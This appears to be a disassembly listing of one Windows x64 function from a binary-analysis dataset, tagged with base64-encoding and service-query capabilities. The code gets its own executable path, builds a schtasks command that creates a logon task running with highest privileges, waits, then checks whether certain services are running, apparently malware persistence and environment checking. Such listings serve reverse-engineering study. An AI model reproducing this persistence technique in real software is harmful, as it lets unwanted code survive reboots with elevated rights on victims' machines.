Function at 0x14002bb20
Capabilities:
Encode data using base64
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x14009c0c0]
xor rax, rsp
mov qword [rbp + 0x240], rax
lea rcx, [rsp + 0x50]
call fcn.140003cf0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
movabs rdx, 0x7ffffff54a2fb3ff
movabs rbx, 0x7fffffffffffffff
mov edi, 0xff
cmp rax, rdx
je 0x14002bbab
mov ecx, 1
cmovl ecx, edi
test cl, cl
jns 0x14002bbab
movabs rcx, 0xab5d04c00
add rcx, rax
mov qword [rsp + 0x50], rcx
jmp 0x14002bbb0
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0x50]
call fcn.1400104c0
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x30]
call fcn.14005fd20
mov r8d, 0x104
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xor r12d, r12d
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov r8d, eax
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x58]
call fcn.14002d610
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rdx, qword [rbp - 0x58]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov r8, qword [rbp - 0x48]
lea rcx, [rsp + 0x78]
call fcn.14002d610
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x78]
call fcn.1400284e0
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.14002c4b0
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14002bc88
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bc83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c175
call fcn.14003d420
movdqa xmm0, xmmword [0x140090d30]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r12w
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x14002bcdd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bcd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c175
call fcn.14003d420
lea rax, str.schtasks__create__tn_____sc_ONLOGON__tr_____rl_HIGHEST__f
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x3d
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rax, qword [rbp - 0x38]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x78], xmm0
movabs rsi, 0xc000000000000000
mov qword [rsp + 0x78], rsi
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rax, qword [rbp - 0x58]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x68], xmm0
movabs rax, 0xc000000000000010
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x50], 2
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 8]
call fcn.14002de20
mov edx, 0x3a98
lea rcx, [rbp + 8]
call fcn.14002a8c0
lea rcx, [rsp + 0x50]
call fcn.140003cf0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
movabs rdx, 0x7fffffff1194d7ff
cmp rax, rdx
je 0x14002bde1
mov ecx, 1
cmovl ecx, edi
test cl, cl
jns 0x14002bde1
mov ecx, 0xee6b2800
add rcx, rax
mov qword [rsp + 0x50], rcx
jmp 0x14002bde6
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0x50]
call fcn.1400104c0
lea rax, str.WindowsSystem32
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x12
lea rax, [0x14009f3b8]
cmp qword [0x14009f3d0], 7
cmova rax, qword [0x14009f3b8]
mov qword [rsp + 0x30], rax
mov rax, qword [0x14009f3c8]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x18]
call fcn.14002de20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x78]
call fcn.14002ad10
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14002ab10
lea rcx, [rsp + 0x78]
call fcn.14002c350
mov rdi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
cmp rdi, r15
je 0x14002bf6d
nop
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x14002bf60
mov rdx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14002bee9
mov rdx, qword [rdi]
mov r8d, 4
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov r14, rax
test rax, rax
jne 0x14002bf0b
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x14002bf60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x68], eax
mov dword [rsp + 0x50], r12d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x78]
xor edx, edx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test ebx, ebx
je 0x14002bf60
cmp dword [rsp + 0x7c], 4
je 0x14002bf72
add rdi, 0x60
cmp rdi, r15
jne 0x14002bec0
call fcn.14002b510
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x14002c00c
mov rdi, qword [rsp + 0x68]
cmp rbx, rdi
je 0x14002bfa6
nop word [rax + rax]
mov rcx, rbx
call fcn.14002b400
add rbx, 0x60
cmp rbx, rdi
jne 0x14002bf90
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x70]
sub rcx, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 5
mov rax, rbx
cmp rdx, 0x1000
jb 0x14002bff6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c16f
mov rcx, rbx
call fcn.14003d420
mov qword [rsp + 0x60], r12
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x14002c04c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c047
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c16f
call fcn.14003d420
movdqa xmm0, xmmword [0x140090d30]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], r12w
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x14002c0a6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c099
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c16f
call fcn.14003d420
movdqa xmm0, xmmword [0x140090d30]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], r12w
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x14002c0f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c0eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c16f
call fcn.14003d420
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], 7
mov word [rbp - 0x38], r12w
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x14002c13d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c138
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c16f
call fcn.14003d420
xor eax, eax
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.14003d400
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14004b148
int3
call fcn.14004b148
int3